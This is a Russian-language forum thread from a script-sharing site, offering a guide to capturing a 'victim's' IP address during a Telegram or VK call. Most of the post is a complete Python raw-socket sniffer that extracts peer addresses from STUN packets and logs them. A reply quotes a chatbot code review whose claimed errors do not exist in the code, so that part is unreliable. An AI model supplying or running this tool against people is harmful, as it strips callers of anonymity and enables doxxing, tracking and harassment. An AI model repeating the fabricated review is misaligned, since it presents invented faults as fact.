Гайд - Получаем IP-адрес жертвы через звонок в телеграмме or ВК | End Way - форум программирования и сливов различных скриптов
  • Присоединяйтесь к нам в телеграм канал! EndWay канал | EndSoft канал | EWStudio канал
  • Хочешь поставить скрипт, но не умеешь?
    А может ты хочешь свой уникальный скрипт?

    Тогда добро пожаловать в нашу студию разработки!

    Телеграм бот: EWStudioBot
    Телеграм канал: EWStudio

Гайд Получаем IP-адрес жертвы через звонок в телеграмме or ВК

фентдев

главный модератор милашккк
Автор темы
8 Янв 2023
40
34
0
Requirements: root && P2P && Python >= 3.8.6 + создаем текстовик ignorelist.txt


Python:
import socket, struct, ipaddress, platform

class stun:
    __ipList, __tempList = [], []
   
    def __init__(self, ignoreList: list) -> None:
        self.__ignoreList = ignoreList

    def __processXorIP(self, ip: bytes) -> str:
        return str(ipaddress.IPv4Address(0x2112A442 ^ ip))

    def __appendTempListRet(self, ip: str) -> bool:
        self.__tempList.append(ip)
        return True

    def __checkIgnoreIP(self, ip: str) -> bool:
        if ip in self.__tempList: return True
        if not ipaddress.ip_address(ip).is_global: return self.__appendTempListRet(ip)
        for buf in self.__ignoreList:
            if ipaddress.IPv4Address(ip) in ipaddress.IPv4Network(buf):
                return self.__appendTempListRet(ip)
        return False

    def _processSTUN(self, buf: bytes) -> None:
        if struct.unpack("!H", buf[8:10])[0] == 0x8 and buf[12:16] == b"\x21\x12\xA4\x42":
            if struct.unpack("!H", buf[28:30])[0] == 0x12:
                ip = self.__processXorIP(struct.unpack("!I", buf[36:40])[0])
                if not ip in self.__ipList and not self.__checkIgnoreIP(ip):
                    print(f"ip: {ip}")
                    self.__ipList.append(ip)

    def getIPList(self) -> str:
        return "\n".join(self.__ipList) + "\n"

class sniffer(stun):
    def __init__(self, ignoreList: list) -> None:
        super().__init__(ignoreList)
        self.__isWin = platform.system() == "Windows"
        self.__s = self.__createSocket()

    def __createSocket(self) -> socket:
        if self.__isWin:
            s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_IP)
            s.bind((socket.gethostbyname(socket.gethostname()), 0))
            s.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
            return s
        else:
            return socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x3))

    def __getIPhdrProtocolOffset(self, buf: bytes) -> bytes:
        return self.__isWin and buf[9:] or buf[23:]

    def startSniff(self) -> None:
        try:
            while True:
                buf: bytes = self.__s.recvfrom(0x10000)[0]
                buf = self.__getIPhdrProtocolOffset(buf)
                if buf[0] == 17:
                    self._processSTUN(buf[11:])
        except KeyboardInterrupt:
            pass

def getIgnoreList() -> list:
    with open("ignorelist.txt", "r") as f:
        return f.read().splitlines()

def saveLog(ipList: str) -> None:
    with open("log.txt", "a") as f:
        f.write(ipList)

def main() -> None:
    sniff = sniffer(getIgnoreList())
    sniff.startSniff()
    ipList = sniff.getIPList()
    if ipList != "\n":
        saveLog(ipList)

main()
1673284484111
 
Like
  • 5
Реакции: 4 users

escortsuter

Джун
8 Янв 2023
9
3
0
Бро, не в обиду тебе и твоему скилу , но чисто ради интереса попросил нейронку найти ошибки и она мне такое выдала
Я просто сам не кодер и хочу чтоб сказали она правильно нашла ошибки? Интересно чисто

? Ответ сформулирован за 106 сек

В этом коде несколько ошибок:

1. В строке 15, метод init должен использовать специальное имя __init__, чтобы обозначить, что это метод инициализации.
2. В строках 18-19, переменные ignoreList и tempList должны использовать префикс self, чтобы обозначить, что это переменные экземпляра.
3. В строках 23-24, метод __processXorIP должен использовать префикс self, чтобы обозначить, что это метод экземпляра.
4. В строках 27-31, метод __appendTempListRet должен использовать префикс self, чтобы обозначить, что это метод экземпляра.
5. В строках 34-38, метод __checkIgnoreIP должен использовать префикс self, чтобы обозначить, что это метод экземпляра.
6. В строках 41-43, метод _processSTUN должен использовать префикс self, чтобы обозначить, что это метод экземпляра.
 

DeCoded

Кибермаг
8 Янв 2023
731
1,759
93
Этот скрипт сработает только, если в настройках приватности ip адрес для звонков публичен (либо же не используется прокси для звонков и тп)
 
Активность:
Пока что здесь никого нет